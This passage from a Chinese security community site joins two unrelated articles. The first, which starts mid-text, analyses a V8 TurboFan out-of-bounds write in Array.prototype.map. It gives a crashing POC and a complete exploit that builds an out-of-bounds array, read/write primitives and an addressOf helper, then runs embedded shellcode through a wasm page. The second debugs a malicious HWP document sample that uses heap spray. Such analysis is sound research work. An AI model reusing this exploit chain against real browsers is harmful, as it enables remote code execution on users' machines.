can_use_type_feedback = false;
} else if (value != 0) {
holey = true;
if (value >= JSArray::kInitialMaxFastElementArray) {
can_inline_array_constructor = false;
}
}
} else {
// Non-smi length argument produces a dictionary
can_use_type_feedback = false;
}
}
...............................省略线......................
if (!site.is_null()) {
if ((old_kind != array->GetElementsKind() || !can_use_type_feedback ||
!can_inline_array_constructor)) {
// The arguments passed in caused a transition. This kind of complexity
// can't be dealt with in the inlined optimized array constructor case.
// We must mark the allocationsite as un-inlinable.
site->SetDoNotInlineCall();
}
} else {
if (old_kind != array->GetElementsKind() || !can_inline_array_constructor) {
// We don't have an AllocationSite for this Array constructor invocation,
// i.e. it might a call from Array#map or from an Array subclass, so we
// just flip the bit on the global protector cell instead.
// TODO(bmeurer): Find a better way to mark this. Global protectors
// tend to back-fire over time...
if (Protectors::IsArrayConstructorIntact(isolate)) {
Protectors::InvalidateArrayConstructor(isolate);
}
}
以上代码，仅保留了我们较为关注的地方，从中可以看出，如果数组元素类型为`Smi`类型，并且`value >=
JSArray::kInitialMaxFastElementArray`成立，也就是数组长度大于`JSArray::kInitialMaxFastElementArray`值的时候，`can_inline_array_constructor`被标记为`false`，最终，因为该标记,`site->SetDoNotInlineCall()`函数被调用。该标记最终将会在`src/compiler/js-create-lowering.cc`文件中的`ReduceJSCreateArray`函数中使用
if (length_type.Maybe(Type::UnsignedSmall()) && can_inline_call) {
return ReduceNewArray(node, length, *initial_map, elements_kind,
allocation, slack_tracking_prediction);
}
...........省略线...............
if (values_all_smis) {
// Smis can be stored with any elements kind.
} else if (values_all_numbers) {
elements_kind = GetMoreGeneralElementsKind(
elements_kind, IsHoleyElementsKind(elements_kind)
? HOLEY_DOUBLE_ELEMENTS
: PACKED_DOUBLE_ELEMENTS);
} else if (values_any_nonnumber) {
elements_kind = GetMoreGeneralElementsKind(
elements_kind, IsHoleyElementsKind(elements_kind) ? HOLEY_ELEMENTS
: PACKED_ELEMENTS);
} else if (!can_inline_call) {
// We have some crazy combination of types for the {values} where
// there's no clear decision on the elements kind statically. And
// we don't have a protection against deoptimization loops for the
// checks that are introduced in the call to ReduceNewArray, so
// we cannot inline this invocation of the Array constructor here.
return NoChange();
}
return ReduceNewArray(node, values, *initial_map, elements_kind, allocation,
slack_tracking_prediction);
从分析中可以看出，该标记将影响`Array(1)`这个函数在JIT编译时是否会被内联优化。
#### IR图分析
首先，我们的测试代码如下，需要知道的一点是`Array.prototype.map`内部会调用`JSCreateArray`来创建新数组存放结果
//将can_inline_array_constructor设置为false
Array(2**30);
function opt() {
var a = [1,2,3];
var b = a.map((value,index) => {
return value;
});
return b;
}
for (var i=0;i<0x10000;i++) {
opt();
}
其IR图如下，可以看到，在`typed lowering`阶段，`JSCreateArray`并没有被优化为`JIT`代码，其仍然为JS层的代码调用。
接下来，我们去除测试脚本里的`Array(2**30);`这句，然后重新查看IR图，可以发现，其被优化成了本地代码了。
## 0x02 漏洞分析
### patch分析
diff --git a/src/compiler/js-call-reducer.cc b/src/compiler/js-call-reducer.cc
index 636bdc1..d37f461 100644
--- a/src/compiler/js-call-reducer.cc
+++ b/src/compiler/js-call-reducer.cc
@@ -1538,6 +1538,13 @@
simplified()->LoadField(AccessBuilder::ForJSArrayLength(kind)), receiver,
effect, control);
+ // If the array length >= kMaxFastArrayLength, then CreateArray
+ // will create a dictionary. We should deopt in this case, and make sure
+ // not to attempt inlining again.
+ original_length = effect = graph()->NewNode(
+ simplified()->CheckBounds(p.feedback()), original_length,
+ jsgraph()->Constant(JSArray::kMaxFastArrayLength), effect, control);
+
// Even though {JSCreateArray} is not marked as {kNoThrow}, we can elide the
// exceptional projections because it cannot throw with the given parameters.
Node* a = control = effect = graph()->NewNode(
该patch用于修复漏洞，patch位于`src/compiler/js-call-reducer.cc`文件中的`JSCallReducer::ReduceArrayMap`函数，该函数是对`Array.prototype.map`函数进行优化的，patch中主要增加了一个对`源数组的长度`进行检查，检查其是否大于`kMaxFastArrayLength`，因为添加的是一个`CheckBounds`节点，所以如果大于的话将`deoptimization
bailout`从而不使用其生成的JIT代码。
我们来分析一下代码
Node* original_length = effect = graph()->NewNode(
simplified()->LoadField(AccessBuilder::ForJSArrayLength(kind)), receiver,
effect, control);
// 根据original_length，调用JSCreateArray创建一个新数组
Node* a = control = effect = graph()->NewNode(
javascript()->CreateArray(1, MaybeHandle<AllocationSite>()),
array_constructor, array_constructor, original_length, context,
outer_frame_state, effect, control);
Node* checkpoint_params[] = {receiver, fncallback, this_arg,
a, k, original_length};
const int stack_parameters = arraysize(checkpoint_params);
// 检查map的回调函数是否可用，如果可以，就进行调用
Node* check_frame_state = CreateJavaScriptBuiltinContinuationFrameState(
jsgraph(), shared, Builtins::kArrayMapLoopLazyDeoptContinuation,
node->InputAt(0), context, &checkpoint_params[0], stack_parameters,
outer_frame_state, ContinuationFrameStateMode::LAZY);
Node* check_fail = nullptr;
Node* check_throw = nullptr;
WireInCallbackIsCallableCheck(fncallback, context, check_frame_state, effect,
&control, &check_fail, &check_throw);
// 调用回调函数生成映射值
Node* vloop = k = WireInLoopStart(k, &control, &effect);
Node *loop = control, *eloop = effect;
checkpoint_params[4] = k;
Node* continue_test =
graph()->NewNode(simplified()->NumberLessThan(), k, original_length);
Node* continue_branch = graph()->NewNode(common()->Branch(BranchHint::kNone),
continue_test, control);
Node* if_true = graph()->NewNode(common()->IfTrue(), continue_branch);
Node* if_false = graph()->NewNode(common()->IfFalse(), continue_branch);
control = if_true;
Node* frame_state = CreateJavaScriptBuiltinContinuationFrameState(
jsgraph(), shared, Builtins::kArrayMapLoopEagerDeoptContinuation,
node->InputAt(0), context, &checkpoint_params[0], stack_parameters,
outer_frame_state, ContinuationFrameStateMode::EAGER);
effect =
graph()->NewNode(common()->Checkpoint(), frame_state, effect, control);
// Make sure the map hasn't changed during the iteration
effect =
graph()->NewNode(simplified()->CheckMaps(CheckMapsFlag::kNone,
receiver_maps, p.feedback()),
receiver, effect, control);
Node* element =
SafeLoadElement(kind, receiver, control, &effect, &k, p.feedback());
Node* next_k =
graph()->NewNode(simplified()->NumberAdd(), k, jsgraph()->OneConstant());
Node* hole_true = nullptr;
Node* hole_false = nullptr;
Node* effect_true = effect;
if (IsHoleyElementsKind(kind)) {
// 跳过无值的空洞
Node* check;
if (IsDoubleElementsKind(kind)) {
check = graph()->NewNode(simplified()->NumberIsFloat64Hole(), element);
} else {
check = graph()->NewNode(simplified()->ReferenceEqual(), element,
jsgraph()->TheHoleConstant());
}
Node* branch =
graph()->NewNode(common()->Branch(BranchHint::kFalse), check, control);
hole_true = graph()->NewNode(common()->IfTrue(), branch);
hole_false = graph()->NewNode(common()->IfFalse(), branch);
control = hole_false;
// The contract is that we don't leak "the hole" into "user JavaScript",
// so we must rename the {element} here to explicitly exclude "the hole"
// from the type of {element}.
element = effect = graph()->NewNode(
common()->TypeGuard(Type::NonInternal()), element, effect, control);
}
// This frame state is dealt with by hand in
// ArrayMapLoopLazyDeoptContinuation.
frame_state = CreateJavaScriptBuiltinContinuationFrameState(
jsgraph(), shared, Builtins::kArrayMapLoopLazyDeoptContinuation,
node->InputAt(0), context, &checkpoint_params[0], stack_parameters,
outer_frame_state, ContinuationFrameStateMode::LAZY);
Node* callback_value = control = effect = graph()->NewNode(
javascript()->Call(5, p.frequency()), fncallback, this_arg, element, k,
receiver, context, frame_state, effect, control);
// Rewire potential exception edges.
Node* on_exception = nullptr;
if (NodeProperties::IsExceptionalCall(node, &on_exception)) {
RewirePostCallbackExceptionEdges(check_throw, on_exception, effect,
&check_fail, &control);
}
// The array {a} should be HOLEY_SMI_ELEMENTS because we'd only come into this
// loop if the input array length is non-zero, and "new Array({x > 0})" always
// produces a HOLEY array.
MapRef holey_double_map =
native_context().GetInitialJSArrayMap(HOLEY_DOUBLE_ELEMENTS);
MapRef holey_map = native_context().GetInitialJSArrayMap(HOLEY_ELEMENTS);
//将值存入数组
effect = graph()->NewNode(simplified()->TransitionAndStoreElement(
holey_double_map.object(), holey_map.object()),
a, k, callback_value, effect, control);
if (IsHoleyElementsKind(kind)) {
Node* after_call_and_store_control = control;
Node* after_call_and_store_effect = effect;
control = hole_true;
effect = effect_true;
control = graph()->NewNode(common()->Merge(2), control,
after_call_and_store_control);
effect = graph()->NewNode(common()->EffectPhi(2), effect,
after_call_and_store_effect, control);
}
WireInLoopEnd(loop, eloop, vloop, next_k, control, effect);
control = if_false;
effect = eloop;
// Wire up the branch for the case when IsCallable fails for the callback.
// Since {check_throw} is an unconditional throw, it's impossible to
// return a successful completion. Therefore, we simply connect the successful
// completion to the graph end.
Node* throw_node =
graph()->NewNode(common()->Throw(), check_throw, check_fail);
NodeProperties::MergeControlToEnd(graph(), common(), throw_node);
ReplaceWithValue(node, a, effect, control);
return Replace(a);
}
以上代码看似没有什么问题，但忽略了`JSCreateArray`的一个特性，如果要申请的大小大于某个阈值（`0x2000000`），那么其返回的对象，其`Element`不再是数组类型，而是`Dictionary`类型，测试代码
var a = Array(0x2000001);
%DebugPrint(a);
DebugPrint: 0x19c022c0dbf1: [JSArray]
- map: 0x3427e398a9f9 <Map(DICTIONARY_ELEMENTS)> [FastProperties]
- prototype: 0x1e11fad11081 <JSArray[0]>
- elements: 0x19c022c0dc11 <NumberDictionary[16]> [DICTIONARY_ELEMENTS]
- length: 33554433
- properties: 0x342395d80c21 <FixedArray[0]> {
#length: 0x3538bdb001a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x19c022c0dc11 <NumberDictionary[16]> {
- max_number_key: 0
}
0x3427e398a9f9: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: DICTIONARY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x3427e3982fc9 <Map(HOLEY_ELEMENTS)>
- prototype_validity cell: 0x3538bdb00609 <Cell value= 1>
- instance descriptors (own) #1: 0x1e11fad11e69 <DescriptorArray[1]>
- layout descriptor: (nil)
- prototype: 0x1e11fad11081 <JSArray[0]>
- constructor: 0x1e11fad10e31 <JSFunction Array (sfi = 0x3538bdb0ac69)>
- dependent code: 0x342395d802c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
当`JSCreateArray`返回的是`Dictionary`类型时，V8的优化代码仍然是以数组连续的方式写值的。在就导致了数组溢出。
### POC
Array(2**30);
function opt(a) {
return a.map((value,index)=>{return value});
}
var a = [1,2,3,,,,4];
for (var i=0;i<0x20000;i++) {
opt(a);
}
a.length = 0x2000000;
a.fill(1,0);
a.length += 0x66;
//溢出
opt(a);
调试过程，报了`Segmentation fault.`错误，这是因为越界写，超过了可访问的区域。
Thread 1 "d8" received signal SIGSEGV, Segmentation fault.
0x00000d833f382f6a in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────────────────
RAX 0x2c9f5e100139 ◂— 0x210000242e4080a9
RBX 0x2c9f5e100159 ◂— 0x352a634016
RCX 0x2000066
RDX 0x7fc28f74a0bd ◂— 'end - start <= kHandleBlockSize'
RDI 0x7ffc6bfa0c48 —▸ 0x2c9f5e100139 ◂— 0x210000242e4080a9
RSI 0x34218f8017d9 ◂— 0x352a63400f
R8 0xffd3
R9 0xae2d8a02b31 ◂— 0x210000242e40802e
R10 0x100000000
R11 0x242e40802e89 ◂— 0x40000352a634001
R12 0x1
R13 0x55715eb87e50 —▸ 0x352a63400751 ◂— 0x5a0000352a634004
R14 0xffd3
R15 0x6
RBP 0x7ffc6bfa0d18 —▸ 0x7ffc6bfa0d80 —▸ 0x7ffc6bfa0da8 —▸ 0x7ffc6bfa0e10 —▸ 0x7ffc6bfa0e60 ◂— ...
RSP 0x7ffc6bfa0ce0 ◂— 0x2
RIP 0xd833f382f6a ◂— vmovsd qword ptr [rbx + r14*8 + 0xf], xmm0
───────────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────────
► 0xd833f382f6a vmovsd qword ptr [rbx + r14*8 + 0xf], xmm0
0xd833f382f71 jmp 0xd833f382e90 <0xd833f382e90>
### 疑难问题
我们还注意到一个细节，我们的数组是`HOLEY_SMI_ELEMENTS`，首先，`SMI`是为了满足`JSCreateArray`不内联的条件，而`HOLEY`是为了能够溢出方便控制内存，因为空洞的原因，不会对某块区域进行写，从而不至于破坏内存中其他地方，仅去覆盖我们需要的地方。
var a = [1,2,3,,,,4];
另一个问题是为何要防止`JSCreateArray`内联，首先，我们去除开头的`Array(2**30)`，然后观察IR图。没内联时是这样的
内联以后是这样的，因为内联多了个`CheckBound`，且我们触发漏洞的length显然超过这个范围，这将导致直接`deoptimization
bailout`。
gdb调试如下
0x00003bbfbc0830fb in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────────────────
RAX 0x1caece4004d1 ◂— 0x1caece4005
RBX 0x7fa156f631b0 ◂— push rbp
RCX 0x335e74882b69 ◂— 0x21000029b2ef682e
RDX 0x560d0e592ac0 —▸ 0x560d0e607a30 ◂— 0x1baddead0baddeaf
RDI 0x29b2ef682e89 ◂— 0x400001caece4001
RSI 0x3a04229817d9 ◂— 0x1caece400f
R8 0x2000066
R9 0x200006600000000
R10 0x100000000
R11 0x7fa156b61270 (v8::internal::IncrementalMarking::RetainMaps()) ◂— push rbp
R12 0x7fffe6d138b0 —▸ 0x7fffe6d138d8 —▸ 0x7fffe6d13940 —▸ 0x7fffe6d13990 —▸ 0x7fffe6d13cc0 ◂— ...
R13 0x560d0e588e70 —▸ 0x1caece400751 ◂— 0xde00001caece4004
R14 0x1caece4005b1 ◂— 0xff00001caece4005
R15 0x7fffe6d13810 —▸ 0x3bbfbc08304a ◂— jmp 0x3bbfbc082e16
RBP 0x7fffe6d13848 —▸ 0x7fffe6d138b0 —▸ 0x7fffe6d138d8 —▸ 0x7fffe6d13940 —▸ 0x7fffe6d13990 ◂— ...
RSP 0x7fffe6d13818 —▸ 0x3a042299f563 ◂— 0x1caece
*RIP 0x3bbfbc0830fb ◂— mov r13, 2
───────────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────────
0x3bbfbc082e48 jae 0x3bbfbc082e5c <0x3bbfbc082e5c>
↓
0x3bbfbc082e5c mov r9, r8
0x3bbfbc082e5f shl r9, 0x20
0x3bbfbc082e63 cmp r8d, 0x7ff8
0x3bbfbc082e6a jae 0x3bbfbc0830fb <0x3bbfbc0830fb>
↓
► 0x3bbfbc0830fb mov r13, 2
0x3bbfbc083102 call 0x3bbfbc102040 <0x3bbfbc102040>
可以看到，因为`cmp r8d, 0x7ff8`比较不通过导致直接`deoptimization
bailout`了，因此`JSCreateArray`不能内联。
### exp
通过溢出，覆盖`Array`的length，从而构造一个能自由控制的`oob`数组，然后就很容易利用了，当我们完成构造`oob`数组以后，我们使用`throw`抛出一个异常，从而可以使得`map`函数停止向后的迭代。
var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);
function p64f(value1,value2) {
dv.setUint32(0,value1,true);
dv.setUint32(0x4,value2,true);
return dv.getFloat64(0,true);
}
function i2f64(value) {
dv.setBigUint64(0,BigInt(value),true);
return dv.getFloat64(0,true);
}
function u64f(value) {
dv.setFloat64(0,value,true);
return dv.getBigUint64(0,true);
}
//使得TurboFan不会将JSCreateArray内联化
Array(2**30);
var oob_arr;
var obj_arr;
var arr_buf;
var oob_arr_length_idx = 0x18;
function opt(arr,flag) {
return arr.map((value,index)=>{
if (index == 0) {
oob_arr = [1.1,2.2,3.3];
obj_arr = [{}];
arr_buf = new ArrayBuffer(0x10);
if (flag) {
/*%DebugPrint(a);
%DebugPrint(oob_arr);*/
}
} else if (index > oob_arr_length_idx) {
throw "oob finished!"
}
return value;
});
}
//HOLEY_SMI_ELEMENTS的数组
var a = [1,2,,3];
for (var i=0;i < 0x10000; i++) {
opt(a,false);
}
a.length = 0x2000000;
a.fill(1,0x18); //从0x18开始，为hole的在map时自动跳过,这样不至于损坏数据
a.length += 0x66;
try {
opt(a,true);
} catch (e) {
if (oob_arr.length > 3) {
print("oob success!");
} else {
throw "oob failed!";
}
}
//%DebugPrint(oob_arr);
//%DebugPrint(obj_arr);
function addressOf(obj) {
obj_arr[0] = obj;
return u64f(oob_arr[0x10]) - 0x1n;
}
const wasmCode = new Uint8Array([0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x85,0x80,0x80,0x80,0x00,0x01,0x60,0x00,0x01,0x7F,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x00,0x04,0x84,0x80,0x80,0x80,0x00,0x01,0x70,0x00,0x00,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x06,0x81,0x80,0x80,0x80,0x00,0x00,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6D,0x65,0x6D,0x6F,0x72,0x79,0x02,0x00,0x04,0x6D,0x61,0x69,0x6E,0x00,0x00,0x0A,0x8A,0x80,0x80,0x80,0x00,0x01,0x84,0x80,0x80,0x80,0x00,0x00,0x41,0x2A,0x0B]);
const shellcode = new Uint32Array([186,114176,46071808,3087007744,41,2303198479,3091735556,487129090,16777343,608471368,1153910792,4132,2370306048,1208493172,3122936971,16,10936,1208291072,1210334347,50887,565706752,251658240,1015760901,3334948900,1,8632,1208291072,1210334347,181959,565706752,251658240,800606213,795765090,1207986291,1210320009,1210334349,50887,3343384576,194,3913728,84869120]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;
var wasm_shellcode_ptr_addr = addressOf(wasmInstance) + 0x100n;
//%DebugPrint(wasmInstance);
/*%DebugPrint(oob_arr);
%DebugPrint(arr_buf);
*/
oob_arr[0x18] = i2f64(0x100);
oob_arr[0x19] = i2f64(wasm_shellcode_ptr_addr);
var adv = new DataView(arr_buf);
var wasm_shellcode_addr = adv.getBigUint64(0,true);
print('wasm_shellcode_addr=' + wasm_shellcode_addr.toString(16));
oob_arr[0x19] = i2f64(wasm_shellcode_addr);
//替换wasm的shellcode
for (var i=0;i<shellcode.length;i++) {
adv.setUint32(i*4,shellcode[i],true);
}
//执行shellcode
func();
## 0x03 感想
通过本次实践，对于V8的知识又增加了，还得不断的学习。
## 0x04 参考
[Array.prototype.map()](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/map)
[把握机会之窗：看我如何获得Chrome 1-day漏洞并实现利用](https://zhuanlan.zhihu.com/p/62206287)
[Chrome M73 issue
941743](https://laptrinhx.com/chrome-m73-issue-941743-2744271499/) | 社区文章 |
# 对某HWP漏洞样本的分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
最近拿到一些 HWP(韩文字处理程序) 的漏洞样本，花了几天时间调试了一下，本文记述了我对其中一个样本的调试过程。
HWP 是韩国 Hancom 公司开发的韩文字处理软件，类似于中国的 WPS。HWP 在韩国政企中占有率很高，所以经常被用来攻击韩国用户。FireEye
曾在2015年9月抓到一个[HWP 0day](https://www.fireeye.com/blog/threat-research/2015/09/zero-day_hwp_exploit.html)。目前针对HWP的攻击中使用最多的是
CVE-2017-8291，这是一个 GhostScript 组件的类型混淆漏洞。
本次调试的样本是另一处漏洞，具体的CVE编号暂不清楚，这个漏洞在原理上可以和 FireEye 抓到的 CVE-2015-6585
归为一类，但并不完全相同。这批样本首先[被安博士所披露](http://asec.ahnlab.com/1015)。2015年5月20日安博士又写过另一篇类似的[分析文章](http://asec.ahnlab.com/1035)。
## 基本信息
### 样本信息
> MD5：33874577bf54d3c209925c9def880eb9
### 调试环境
> VMware + windbg + windows_7_sp1_x86 + HWP 2010 English Edtion (HwpApp.dll
> 8.0.0.466)
### 环境搭建
1. 安装 HWP2010 韩文版，[磁力链接](magnet:?xt=urn:bith:B6F6E352C4CC579E3F027EB746C5BD880B743902)
2. 安装 HWP2010 最新补丁，[下载链接](https://cdn.hancom.com/pds/hnc/Product/Patch/Office/Hwp2007Update_20160825.exe)
3. 在控制面板中卸载 HWP2010
4. 重新安装 HWP2010 韩文版
上述四个步骤之后可以出现带有英文界面的 HWP2010 (HwpApp.dll 8.0.0.466)
### 漏洞复现
HWP 文档的解析主程序为 Hwp.exe ，利用 gflags.exe 工具对其开启页堆，在调试状态下打开文档发生崩溃，崩溃现场如下：
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=c0c0c0c0 ebx=0dabe600 ecx=0e0c0e0c edx=00000029 esi=0012e9ac edi=00000000
eip=06b1028a esp=0012e954 ebp=0f22cf80 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:Program FilesHncHwp80HwpApp.dll - HwpApp+0x4028a:
06b1028a 8b4254 mov eax,dword ptr [edx+54h] ds:0023:0000007d=????????
Disassembly：
06b10277 0fb75008 movzx edx,word ptr [eax+8]
06b1027b 0fb74006 movzx eax,word ptr [eax+6]
06b1027f c1e210 shl edx,10h
06b10282 0bd0 or edx,eax
06b10284 8b4228 mov eax,dword ptr [edx+28h]
06b10287 8b11 mov edx,dword ptr [ecx]
06b10289 50 push eax
06b1028a 8b4254 mov eax,dword ptr [edx+54h] ds:0023:0000007d=????????
06b1028d 896c241c mov dword ptr [esp+1Ch],ebp
06b10291 ffd0 call eax ; 崩溃点下面不远处有一个call eax
06b10293 8bd8 mov ebx,eax
0:000> ? 06b10291-hwpapp
Evaluate expression: 262801 = 00040291
关闭页堆，对 call eax 语句下断点，再次在调试器中打开文档，发现此时 eax=0x0e0c0e0c，从堆分配的栈回溯信息中可以看到
0x0e0c0e0c 位于一块由 VirtualAlloc 函数申请，大小为 18MB 的堆内存上。
bp hwpapp+40291
...
Breakpoint 0 hit
eax=0e0c0e0c ebx=02c6c600 ecx=0e0c0e0c edx=0e0c0e0c esi=0012e6dc edi=00000000
eip=04730291 esp=0012e684 ebp=0271e4e0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
HwpApp+0x40291:
04730291 ffd0 call eax {0e0c0e0c} // 控制流转移
// 由于 Hwp2010 并未开启 DEP，所以不需要 xchg 指令去导向 ROP，直接可以在堆内存上执行shellcode。
0:000> u 0e0c0e0c
0e0c0e0c 0c0e or al,0Eh
0e0c0e0e 0c0e or al,0Eh
0e0c0e10 0c0e or al,0Eh
0e0c0e12 0c0e or al,0Eh
0e0c0e14 0c0e or al,0Eh
0e0c0e16 0c0e or al,0Eh
0e0c0e18 0c0e or al,0Eh
0e0c0e1a 0c0e or al,0Eh
// 0xe0c0e0c 处疑似用堆喷射进行了填充
0:000> dc e0c0e0c
0e0c0e0c 0e0c0e0c 0e0c0e0c 0e0c0e0c 0e0c0e0c ................
0e0c0e1c 0e0c0e0c 0e0c0e0c 0e0c0e0c 0e0c0e0c ................
0e0c0e2c 0e0c0e0c 0e0c0e0c 0e0c0e0c 0e0c0e0c ................
0e0c0e3c 0e0c0e0c 0e0c0e0c 0e0c0e0c 0e0c0e0c ................
0e0c0e4c 0e0c0e0c 0e0c0e0c 0e0c0e0c 0e0c0e0c ................
0e0c0e5c 0e0c0e0c 0e0c0e0c 0e0c0e0c 0e0c0e0c ................
0e0c0e6c 0e0c0e0c 0e0c0e0c 0e0c0e0c 0e0c0e0c ................
0e0c0e7c 0e0c0e0c 0e0c0e0c 0e0c0e0c 0e0c0e0c ................
0:000> !heap -p -a 0e0c0e0c
address 0e0c0e0c found in
_HEAP @ 2760000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
invalid allocation size, possible heap corruption
0dfb0018 24006d 0000 [00] 0dfb0030 120035c - (busy VirtualAlloc)
Trace: 25a05a4
777bdd6c ntdll!RtlAllocateHeap+0x00000274
74e53db8 MSVCR90!malloc+0x00000079
0:000> ? 0x120035c/0n1024/0n1024
Evaluate expression: 18 = 00000012
## 漏洞成因
### 静态分析
#### 触发分析
用 [HwpScan2工具](https://www.nurilab.net/hwpscan2) 打开漏洞文件，我们可以看到 BodyText 部分有6个
section 流，每个 section 流都表示文本相关的一些信息(具体可参考HWP格式规范)。
HWP文件格式用 Tag 来描述文档的各种信息，每个 section 中有不同的 Tag 来描述不同的信息，每个 Tag 由 DWORD
头部和数据部分构成，具体结构如下：
可以看到头部的 DWORD 中包含：
> Tag ID、Level 和 Size
其中
> Tag ID = HWPTAG_BEGIN + Value，HWPTAG_BEGIN = 0x10
不同的 Tag ID 对应的 Value 和其代表的含义如下图所示：
其中 HWPTAG_PARA_TEXT Tag 里存储的数据是一个段落的文本信息。在段落的文本信息中可以指定一些控制字，控制字范围为
0-31，这些控制字可以指定一些额外的特性。这些都在HWP的说明文档中有介绍，如下图所示：
其中 03 控制字代表的意思如下。大致意思是该控制字会指定一些额外的超链接、书签或其他信息。文档上指明该控制字数据类型为 extended，大小为8字节。
我们来看一下 section0 对应的该字段信息，section0 流里面只有一个 HWPTAG_PARA_TEXT Tag
(同一个流里面可以有多个同一类型的 Tag)
从下图可以看到 section0 的 HWPTAG_PARA_TEXT 数据中有一个 03 控制字段(03 00 ->
0x0003)，这个字段的最后4个字节是 0c 0e 0c 0e，按小端地址翻转一下就是 0x0e0c0e0c，这正是混淆发生后相关寄存器的值。
我们来看一下混淆发生处的函数，可以看到 call 指令 (即v9())
位于一个while循环内，在调用具体的函数前首先会对一个4字节地址进行小端地址翻转，得到一个对象地址，然后取出对象首地址的虚表指针，调用虚表偏移+0x54处的虚函数。对象地址等价于：
> (0c 0e 0c 0e) -> 0x0e0c0e0c；
v9() 等价于
> call [*(0x0e0c0e0c) + 0x54]
#### 堆喷分析
在审计 section2-section6 时发现每一个都有一段长度为 0x120035A字节(18MB) 的 HWPTAG_PARA_TEXT
区域，其与上面疑似堆喷射的内存大小几乎一致。
每段 18MB 数据的前面大部分都是疑似雪橇指令，雪橇指令结束处可以看到疑似 shellcode：
### 动态分析
#### 堆喷射
我们在内存中搜索上图红框圈出的特征码：
// 重点关注后面10条记录
0:000> s -d 0x3 l?0x7fffffff 0x53525657
02dd0efb 53525657 c9335155 0c0e0cba 028a420e WVRSUQ3......B..
07b99443 53525657 c9335155 0c0e0cba 028a420e WVRSUQ3......B..
0b94fc6b 53525657 c9335155 0c0e0cba 028a420e WVRSUQ3......B..
0cb5fc6b 53525657 c9335155 0c0e0cba 028a420e WVRSUQ3......B..
0dd6fc6b 53525657 c9335155 0c0e0cba 028a420e WVRSUQ3......B..
0ef7fc6b 53525657 c9335155 0c0e0cba 028a420e WVRSUQ3......B..
1130fc6b 53525657 c9335155 0c0e0cba 028a420e WVRSUQ3......B..
133afc6b 53525657 c9335155 0c0e0cba 028a420e WVRSUQ3......B..
145bfc6b 53525657 c9335155 0c0e0cba 028a420e WVRSUQ3......B..
157cfc6b 53525657 c9335155 0c0e0cba 028a420e WVRSUQ3......B..
169dfc6b 53525657 c9335155 0c0e0cba 028a420e WVRSUQ3......B..
17befc6b 53525657 c9335155 0c0e0cba 028a420e WVRSUQ3......B..
// 查看一下堆块基本情况
0:000> !heap
NtGlobalFlag enables following debugging aids for new heaps: stack back traces
Index Address Name Debugging options enabled
1: 019f0000
2: 00010000
3: 002e0000
4: 01950000
5: 01850000
6: 02850000
7: 029c0000
8: 03160000
9: 032c0000
10: 03560000
11: 04e80000
12: 06610000
13: 07370000
14: 07540000
// 可以看到4号堆几乎全被用完，其含有10块大小为18MB的内存
0:000> !heap -stat -h 01850000
heap @ 01850000
group-by: TOTSIZE max-display: 20
size #blocks total ( %) (percent of total busy bytes)
12003b0 5 - 5a01270 (49.27)
120035c 5 - 5a010cc (49.27)
e4 910 - 81240 (0.28)
f0 381 - 348f0 (0.11)
24000 1 - 24000 (0.08)
18 15bc - 209a0 (0.07)
20000 1 - 20000 (0.07)
100 18e - 18e00 (0.05)
194 e5 - 16964 (0.05)
aa00 2 - 15400 (0.05)
28 6f0 - 11580 (0.04)
10bc0 1 - 10bc0 (0.04)
10000 1 - 10000 (0.03)
fda0 1 - fda0 (0.03)
fb50 1 - fb50 (0.03)
a8 159 - e268 (0.03)
4400 3 - cc00 (0.03)
2200 6 - cc00 (0.03)
800 17 - b800 (0.02)
82 13b - 9ff6 (0.02)
0:000> !heap -flt s 12003b0
_HEAP @ 19f0000
_HEAP @ 10000
_HEAP @ 2e0000
_HEAP @ 1950000
_HEAP @ 1850000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0a750018 240078 0000 [00] 0a750030 12003b0 - (busy VirtualAlloc)
0cb70018 240078 0078 [00] 0cb70030 12003b0 - (busy VirtualAlloc)
10110018 240078 0078 [00] 10110030 12003b0 - (busy VirtualAlloc)
133c0018 240078 0078 [00] 133c0030 12003b0 - (busy VirtualAlloc)
157e0018 240078 0078 [00] 157e0030 12003b0 - (busy VirtualAlloc)
_HEAP @ 2850000
_HEAP @ 29c0000
_HEAP @ 3160000
_HEAP @ 32c0000
_HEAP @ 3560000
_HEAP @ 4e80000
_HEAP @ 6610000
_HEAP @ 7370000
_HEAP @ 7540000
0:000> !heap -flt s 120035c
_HEAP @ 19f0000
_HEAP @ 10000
_HEAP @ 2e0000
_HEAP @ 1950000
_HEAP @ 1850000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0b960018 24006d 0000 [00] 0b960030 120035c - (busy VirtualAlloc)
0dd80018 24006d 006d [00] 0dd80030 120035c - (busy VirtualAlloc)
121b0018 24006d 006d [00] 121b0030 120035c - (busy VirtualAlloc)
